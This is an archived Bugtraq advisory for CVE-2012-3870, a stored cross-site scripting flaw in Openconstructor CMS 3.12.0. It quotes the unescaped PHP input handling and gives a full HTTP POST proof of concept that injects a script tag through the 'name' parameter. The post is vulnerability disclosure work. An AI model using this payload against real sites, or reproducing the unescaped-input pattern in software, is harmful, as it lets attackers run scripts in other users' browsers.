Home page logo
/

bugtraq logo Bugtraq mailing list archives

[CVE-2012-3870] Openconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities
From: lorenzo.cantoni86 () gmail com
Date: Sat, 4 Aug 2012 08:22:34 GMT

###Title###: 
Openconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting 
vulnerabilities


###Affected Software###:
http://www.openconstructor.org/
http://code.google.com/p/openconstructor/downloads/list
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234


###Description###: 
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System 
written in PHP. Stored XSS vulnerabilities exist on the 'name' and 'description' 
parameters, which are used as properties when creating a new object. Verson 3.12.0 is vulnerable, previous version may 
be affected, but they have not been tested.


###CVE###
CVE-2012-3870


###Impact###:
Authenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other 
user's browser.

CVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)


###Credits###: 
Lorenzo Cantoni (lorenzo[dot]cantoni86[at]gmail[dot]com)


###Details###:
When creating a new object in the "object" section, the application asks to set a name and a description for that 
object.
The application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an 
Internet Explorer 7 browser (because the application is designed
to work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such 
attacks.

'createobject.php' contains multiple lines of code (for the various kind of objects) with code similar to the following 
one:

$obj->name = $_POST['name'];
$obj->description = $_POST['description'];
$result = ObjManager::create($obj);

$obj with name and description attributes is passed to ObjManager::create() function without HTML escaping.

When the user access the "Object" section and list the objects with a malicious name or description, will trigger the 
exploit. Additionally, if the object can be published,
the exploit can be triggered also in the "Sitemap" section.


###Proof of Concept###:
Here is a trace of the required POST to plant the javascript

POST /openconstructor/objects/createobject.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, 
application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://10.0.2.15/openconstructor/objects/createobject.php?ds_type=htmltext&obj_type=htmltextbody
Accept-Language: it
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 
3.5.30729)
Proxy-Connection: Keep-Alive
Host: 10.0.2.15
Pragma: no-cache
Cookie: curnode=htmltextbody; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator
Content-Length: 141

ds_type=htmltext&obj_type=htmltextbody&name=xssed+%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&description=asd&ds_id=3&createobject=Create



###Disclosure###
[08/07/2012] Lead Developer contacted.
[22/07/2012] No response. Sent another mail.
[04/08/2012] Still no response. Public disclosure.


  By Date           By Thread  

Current thread:
  • [CVE-2012-3870] Openconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities lorenzo . cantoni86 (Aug 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]